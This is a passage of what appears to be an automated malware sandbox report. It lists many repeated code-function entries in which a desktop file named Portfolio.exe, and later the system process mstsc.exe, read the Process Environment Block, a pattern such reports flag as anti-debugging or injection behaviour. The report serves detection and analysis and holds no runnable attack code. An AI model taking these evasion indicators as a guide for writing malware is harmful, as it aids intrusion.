Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A07016 mov eax, dword ptr fs:[00000030h] 3_2_01A07016
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B002D mov eax, dword ptr fs:[00000030h] 3_2_019B002D
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B002D mov eax, dword ptr fs:[00000030h] 3_2_019B002D
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B002D mov eax, dword ptr fs:[00000030h] 3_2_019B002D
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B002D mov eax, dword ptr fs:[00000030h] 3_2_019B002D
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B002D mov eax, dword ptr fs:[00000030h] 3_2_019B002D
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019BBC2C mov eax, dword ptr fs:[00000030h] 3_2_019BBC2C
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019A0050 mov eax, dword ptr fs:[00000030h] 3_2_019A0050
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019A0050 mov eax, dword ptr fs:[00000030h] 3_2_019A0050
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019BA44B mov eax, dword ptr fs:[00000030h] 3_2_019BA44B
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A51074 mov eax, dword ptr fs:[00000030h] 3_2_01A51074
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A42073 mov eax, dword ptr fs:[00000030h] 3_2_01A42073
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A1C450 mov eax, dword ptr fs:[00000030h] 3_2_01A1C450
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A1C450 mov eax, dword ptr fs:[00000030h] 3_2_01A1C450
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019A746D mov eax, dword ptr fs:[00000030h] 3_2_019A746D
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A55BA5 mov eax, dword ptr fs:[00000030h] 3_2_01A55BA5
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019BB390 mov eax, dword ptr fs:[00000030h] 3_2_019BB390
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B2397 mov eax, dword ptr fs:[00000030h] 3_2_019B2397
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01998794 mov eax, dword ptr fs:[00000030h] 3_2_01998794
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01991B8F mov eax, dword ptr fs:[00000030h] 3_2_01991B8F
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01991B8F mov eax, dword ptr fs:[00000030h] 3_2_01991B8F
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A3D380 mov ecx, dword ptr fs:[00000030h] 3_2_01A3D380
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A4138A mov eax, dword ptr fs:[00000030h] 3_2_01A4138A
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A07794 mov eax, dword ptr fs:[00000030h] 3_2_01A07794
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A07794 mov eax, dword ptr fs:[00000030h] 3_2_01A07794
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A07794 mov eax, dword ptr fs:[00000030h] 3_2_01A07794
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B4BAD mov eax, dword ptr fs:[00000030h] 3_2_019B4BAD
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B4BAD mov eax, dword ptr fs:[00000030h] 3_2_019B4BAD
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B4BAD mov eax, dword ptr fs:[00000030h] 3_2_019B4BAD
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C37F5 mov eax, dword ptr fs:[00000030h] 3_2_019C37F5
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A053CA mov eax, dword ptr fs:[00000030h] 3_2_01A053CA
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A053CA mov eax, dword ptr fs:[00000030h] 3_2_01A053CA
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019ADBE9 mov eax, dword ptr fs:[00000030h] 3_2_019ADBE9
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B03E2 mov eax, dword ptr fs:[00000030h] 3_2_019B03E2
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B03E2 mov eax, dword ptr fs:[00000030h] 3_2_019B03E2
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B03E2 mov eax, dword ptr fs:[00000030h] 3_2_019B03E2
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B03E2 mov eax, dword ptr fs:[00000030h] 3_2_019B03E2
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B03E2 mov eax, dword ptr fs:[00000030h] 3_2_019B03E2
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B03E2 mov eax, dword ptr fs:[00000030h] 3_2_019B03E2
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019AF716 mov eax, dword ptr fs:[00000030h] 3_2_019AF716
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019BA70E mov eax, dword ptr fs:[00000030h] 3_2_019BA70E
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019BA70E mov eax, dword ptr fs:[00000030h] 3_2_019BA70E
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A5070D mov eax, dword ptr fs:[00000030h] 3_2_01A5070D
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A5070D mov eax, dword ptr fs:[00000030h] 3_2_01A5070D
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019BE730 mov eax, dword ptr fs:[00000030h] 3_2_019BE730
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A1FF10 mov eax, dword ptr fs:[00000030h] 3_2_01A1FF10
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A1FF10 mov eax, dword ptr fs:[00000030h] 3_2_01A1FF10
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01984F2E mov eax, dword ptr fs:[00000030h] 3_2_01984F2E
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01984F2E mov eax, dword ptr fs:[00000030h] 3_2_01984F2E
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A4131B mov eax, dword ptr fs:[00000030h] 3_2_01A4131B
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0198F358 mov eax, dword ptr fs:[00000030h] 3_2_0198F358
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A58F6A mov eax, dword ptr fs:[00000030h] 3_2_01A58F6A
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0198DB40 mov eax, dword ptr fs:[00000030h] 3_2_0198DB40
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0199EF40 mov eax, dword ptr fs:[00000030h] 3_2_0199EF40
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B3B7A mov eax, dword ptr fs:[00000030h] 3_2_019B3B7A
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B3B7A mov eax, dword ptr fs:[00000030h] 3_2_019B3B7A
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0198DB60 mov ecx, dword ptr fs:[00000030h] 3_2_0198DB60
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0199FF60 mov eax, dword ptr fs:[00000030h] 3_2_0199FF60
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A58B58 mov eax, dword ptr fs:[00000030h] 3_2_01A58B58
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A50EA5 mov eax, dword ptr fs:[00000030h] 3_2_01A50EA5
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A50EA5 mov eax, dword ptr fs:[00000030h] 3_2_01A50EA5
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A50EA5 mov eax, dword ptr fs:[00000030h] 3_2_01A50EA5
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A046A7 mov eax, dword ptr fs:[00000030h] 3_2_01A046A7
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019BD294 mov eax, dword ptr fs:[00000030h] 3_2_019BD294
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019BD294 mov eax, dword ptr fs:[00000030h] 3_2_019BD294
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A1FE87 mov eax, dword ptr fs:[00000030h] 3_2_01A1FE87
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0199AAB0 mov eax, dword ptr fs:[00000030h] 3_2_0199AAB0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0199AAB0 mov eax, dword ptr fs:[00000030h] 3_2_0199AAB0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019BFAB0 mov eax, dword ptr fs:[00000030h] 3_2_019BFAB0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019852A5 mov eax, dword ptr fs:[00000030h] 3_2_019852A5
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019852A5 mov eax, dword ptr fs:[00000030h] 3_2_019852A5
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019852A5 mov eax, dword ptr fs:[00000030h] 3_2_019852A5
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019852A5 mov eax, dword ptr fs:[00000030h] 3_2_019852A5
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019852A5 mov eax, dword ptr fs:[00000030h] 3_2_019852A5
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B2ACB mov eax, dword ptr fs:[00000030h] 3_2_019B2ACB
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B36CC mov eax, dword ptr fs:[00000030h] 3_2_019B36CC
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C8EC7 mov eax, dword ptr fs:[00000030h] 3_2_019C8EC7
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A3FEC0 mov eax, dword ptr fs:[00000030h] 3_2_01A3FEC0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A58ED6 mov eax, dword ptr fs:[00000030h] 3_2_01A58ED6
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B16E0 mov ecx, dword ptr fs:[00000030h] 3_2_019B16E0
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019976E2 mov eax, dword ptr fs:[00000030h] 3_2_019976E2
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B2AE4 mov eax, dword ptr fs:[00000030h] 3_2_019B2AE4
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019A3A1C mov eax, dword ptr fs:[00000030h] 3_2_019A3A1C
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019BA61C mov eax, dword ptr fs:[00000030h] 3_2_019BA61C
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019BA61C mov eax, dword ptr fs:[00000030h] 3_2_019BA61C
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01985210 mov eax, dword ptr fs:[00000030h] 3_2_01985210
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01985210 mov ecx, dword ptr fs:[00000030h] 3_2_01985210
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01985210 mov eax, dword ptr fs:[00000030h] 3_2_01985210
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01985210 mov eax, dword ptr fs:[00000030h] 3_2_01985210
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0198AA16 mov eax, dword ptr fs:[00000030h] 3_2_0198AA16
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0198AA16 mov eax, dword ptr fs:[00000030h] 3_2_0198AA16
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01998A0A mov eax, dword ptr fs:[00000030h] 3_2_01998A0A
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0198C600 mov eax, dword ptr fs:[00000030h] 3_2_0198C600
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0198C600 mov eax, dword ptr fs:[00000030h] 3_2_0198C600
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0198C600 mov eax, dword ptr fs:[00000030h] 3_2_0198C600
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019B8E00 mov eax, dword ptr fs:[00000030h] 3_2_019B8E00
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A3FE3F mov eax, dword ptr fs:[00000030h] 3_2_01A3FE3F
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A41608 mov eax, dword ptr fs:[00000030h] 3_2_01A41608
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C4A2C mov eax, dword ptr fs:[00000030h] 3_2_019C4A2C
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C4A2C mov eax, dword ptr fs:[00000030h] 3_2_019C4A2C
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0198E620 mov eax, dword ptr fs:[00000030h] 3_2_0198E620
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A3B260 mov eax, dword ptr fs:[00000030h] 3_2_01A3B260
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A3B260 mov eax, dword ptr fs:[00000030h] 3_2_01A3B260
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A58A62 mov eax, dword ptr fs:[00000030h] 3_2_01A58A62
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01989240 mov eax, dword ptr fs:[00000030h] 3_2_01989240
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01989240 mov eax, dword ptr fs:[00000030h] 3_2_01989240
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01989240 mov eax, dword ptr fs:[00000030h] 3_2_01989240
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01989240 mov eax, dword ptr fs:[00000030h] 3_2_01989240
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01997E41 mov eax, dword ptr fs:[00000030h] 3_2_01997E41
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01997E41 mov eax, dword ptr fs:[00000030h] 3_2_01997E41
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01997E41 mov eax, dword ptr fs:[00000030h] 3_2_01997E41
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01997E41 mov eax, dword ptr fs:[00000030h] 3_2_01997E41
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01997E41 mov eax, dword ptr fs:[00000030h] 3_2_01997E41
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01997E41 mov eax, dword ptr fs:[00000030h] 3_2_01997E41
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A4AE44 mov eax, dword ptr fs:[00000030h] 3_2_01A4AE44
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A4AE44 mov eax, dword ptr fs:[00000030h] 3_2_01A4AE44
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019C927A mov eax, dword ptr fs:[00000030h] 3_2_019C927A
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019AAE73 mov eax, dword ptr fs:[00000030h] 3_2_019AAE73
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019AAE73 mov eax, dword ptr fs:[00000030h] 3_2_019AAE73
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019AAE73 mov eax, dword ptr fs:[00000030h] 3_2_019AAE73
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019AAE73 mov eax, dword ptr fs:[00000030h] 3_2_019AAE73
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_019AAE73 mov eax, dword ptr fs:[00000030h] 3_2_019AAE73
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A4EA55 mov eax, dword ptr fs:[00000030h] 3_2_01A4EA55
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_0199766D mov eax, dword ptr fs:[00000030h] 3_2_0199766D
Source: C:\Users\user\Desktop\Portfolio.exe Code function: 3_2_01A14257 mov eax, dword ptr fs:[00000030h] 3_2_01A14257
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05089100 mov eax, dword ptr fs:[00000030h] 14_2_05089100
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05089100 mov eax, dword ptr fs:[00000030h] 14_2_05089100
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05089100 mov eax, dword ptr fs:[00000030h] 14_2_05089100
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05158D34 mov eax, dword ptr fs:[00000030h] 14_2_05158D34
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0510A537 mov eax, dword ptr fs:[00000030h] 14_2_0510A537
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050A4120 mov eax, dword ptr fs:[00000030h] 14_2_050A4120
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050A4120 mov eax, dword ptr fs:[00000030h] 14_2_050A4120
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050A4120 mov eax, dword ptr fs:[00000030h] 14_2_050A4120
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050A4120 mov eax, dword ptr fs:[00000030h] 14_2_050A4120
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050A4120 mov ecx, dword ptr fs:[00000030h] 14_2_050A4120
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0514E539 mov eax, dword ptr fs:[00000030h] 14_2_0514E539
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B4D3B mov eax, dword ptr fs:[00000030h] 14_2_050B4D3B
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B4D3B mov eax, dword ptr fs:[00000030h] 14_2_050B4D3B
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B4D3B mov eax, dword ptr fs:[00000030h] 14_2_050B4D3B
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B513A mov eax, dword ptr fs:[00000030h] 14_2_050B513A
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B513A mov eax, dword ptr fs:[00000030h] 14_2_050B513A
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0508AD30 mov eax, dword ptr fs:[00000030h] 14_2_0508AD30
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05093D34 mov eax, dword ptr fs:[00000030h] 14_2_05093D34
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05093D34 mov eax, dword ptr fs:[00000030h] 14_2_05093D34
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05093D34 mov eax, dword ptr fs:[00000030h] 14_2_05093D34
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05093D34 mov eax, dword ptr fs:[00000030h] 14_2_05093D34
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05093D34 mov eax, dword ptr fs:[00000030h] 14_2_05093D34
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05093D34 mov eax, dword ptr fs:[00000030h] 14_2_05093D34
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05093D34 mov eax, dword ptr fs:[00000030h] 14_2_05093D34
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05093D34 mov eax, dword ptr fs:[00000030h] 14_2_05093D34
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05093D34 mov eax, dword ptr fs:[00000030h] 14_2_05093D34
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05093D34 mov eax, dword ptr fs:[00000030h] 14_2_05093D34
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05093D34 mov eax, dword ptr fs:[00000030h] 14_2_05093D34
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05093D34 mov eax, dword ptr fs:[00000030h] 14_2_05093D34
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05093D34 mov eax, dword ptr fs:[00000030h] 14_2_05093D34
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050AB944 mov eax, dword ptr fs:[00000030h] 14_2_050AB944
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050AB944 mov eax, dword ptr fs:[00000030h] 14_2_050AB944
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050C3D43 mov eax, dword ptr fs:[00000030h] 14_2_050C3D43
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05103540 mov eax, dword ptr fs:[00000030h] 14_2_05103540
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050A7D50 mov eax, dword ptr fs:[00000030h] 14_2_050A7D50
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0508C962 mov eax, dword ptr fs:[00000030h] 14_2_0508C962
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0508B171 mov eax, dword ptr fs:[00000030h] 14_2_0508B171
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0508B171 mov eax, dword ptr fs:[00000030h] 14_2_0508B171
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050AC577 mov eax, dword ptr fs:[00000030h] 14_2_050AC577
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050AC577 mov eax, dword ptr fs:[00000030h] 14_2_050AC577
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05082D8A mov eax, dword ptr fs:[00000030h] 14_2_05082D8A
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05082D8A mov eax, dword ptr fs:[00000030h] 14_2_05082D8A
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05082D8A mov eax, dword ptr fs:[00000030h] 14_2_05082D8A
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05082D8A mov eax, dword ptr fs:[00000030h] 14_2_05082D8A
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05082D8A mov eax, dword ptr fs:[00000030h] 14_2_05082D8A
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050AC182 mov eax, dword ptr fs:[00000030h] 14_2_050AC182
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050BA185 mov eax, dword ptr fs:[00000030h] 14_2_050BA185
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050BFD9B mov eax, dword ptr fs:[00000030h] 14_2_050BFD9B
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050BFD9B mov eax, dword ptr fs:[00000030h] 14_2_050BFD9B
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B2990 mov eax, dword ptr fs:[00000030h] 14_2_050B2990
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B35A1 mov eax, dword ptr fs:[00000030h] 14_2_050B35A1
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B61A0 mov eax, dword ptr fs:[00000030h] 14_2_050B61A0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B61A0 mov eax, dword ptr fs:[00000030h] 14_2_050B61A0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_051051BE mov eax, dword ptr fs:[00000030h] 14_2_051051BE
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_051051BE mov eax, dword ptr fs:[00000030h] 14_2_051051BE
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_051051BE mov eax, dword ptr fs:[00000030h] 14_2_051051BE
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_051051BE mov eax, dword ptr fs:[00000030h] 14_2_051051BE
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_051069A6 mov eax, dword ptr fs:[00000030h] 14_2_051069A6
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_051505AC mov eax, dword ptr fs:[00000030h] 14_2_051505AC
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_051505AC mov eax, dword ptr fs:[00000030h] 14_2_051505AC
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B1DB5 mov eax, dword ptr fs:[00000030h] 14_2_050B1DB5
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B1DB5 mov eax, dword ptr fs:[00000030h] 14_2_050B1DB5
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_050B1DB5 mov eax, dword ptr fs:[00000030h] 14_2_050B1DB5
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05106DC9 mov eax, dword ptr fs:[00000030h] 14_2_05106DC9
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05106DC9 mov eax, dword ptr fs:[00000030h] 14_2_05106DC9
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05106DC9 mov eax, dword ptr fs:[00000030h] 14_2_05106DC9
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05106DC9 mov ecx, dword ptr fs:[00000030h] 14_2_05106DC9
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05106DC9 mov eax, dword ptr fs:[00000030h] 14_2_05106DC9
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05106DC9 mov eax, dword ptr fs:[00000030h] 14_2_05106DC9
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05138DF1 mov eax, dword ptr fs:[00000030h] 14_2_05138DF1
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0508B1E1 mov eax, dword ptr fs:[00000030h] 14_2_0508B1E1
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0508B1E1 mov eax, dword ptr fs:[00000030h] 14_2_0508B1E1
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0508B1E1 mov eax, dword ptr fs:[00000030h] 14_2_0508B1E1
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0509D5E0 mov eax, dword ptr fs:[00000030h] 14_2_0509D5E0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0509D5E0 mov eax, dword ptr fs:[00000030h] 14_2_0509D5E0
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0514FDE2 mov eax, dword ptr fs:[00000030h] 14_2_0514FDE2
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0514FDE2 mov eax, dword ptr fs:[00000030h] 14_2_0514FDE2
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0514FDE2 mov eax, dword ptr fs:[00000030h] 14_2_0514FDE2
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_0514FDE2 mov eax, dword ptr fs:[00000030h] 14_2_0514FDE2
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_051141E8 mov eax, dword ptr fs:[00000030h] 14_2_051141E8
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05154015 mov eax, dword ptr fs:[00000030h] 14_2_05154015
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05154015 mov eax, dword ptr fs:[00000030h] 14_2_05154015
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05107016 mov eax, dword ptr fs:[00000030h] 14_2_05107016
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05107016 mov eax, dword ptr fs:[00000030h] 14_2_05107016
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05107016 mov eax, dword ptr fs:[00000030h] 14_2_05107016
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05141C06 mov eax, dword ptr fs:[00000030h] 14_2_05141C06
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05141C06 mov eax, dword ptr fs:[00000030h] 14_2_05141C06
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05141C06 mov eax, dword ptr fs:[00000030h] 14_2_05141C06
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05141C06 mov eax, dword ptr fs:[00000030h] 14_2_05141C06
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05141C06 mov eax, dword ptr fs:[00000030h] 14_2_05141C06
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05141C06 mov eax, dword ptr fs:[00000030h] 14_2_05141C06
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05141C06 mov eax, dword ptr fs:[00000030h] 14_2_05141C06
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05141C06 mov eax, dword ptr fs:[00000030h] 14_2_05141C06
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05141C06 mov eax, dword ptr fs:[00000030h] 14_2_05141C06
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 14_2_05141C06 mov eax, dword ptr fs:[00000030h] 14_2_05141C06
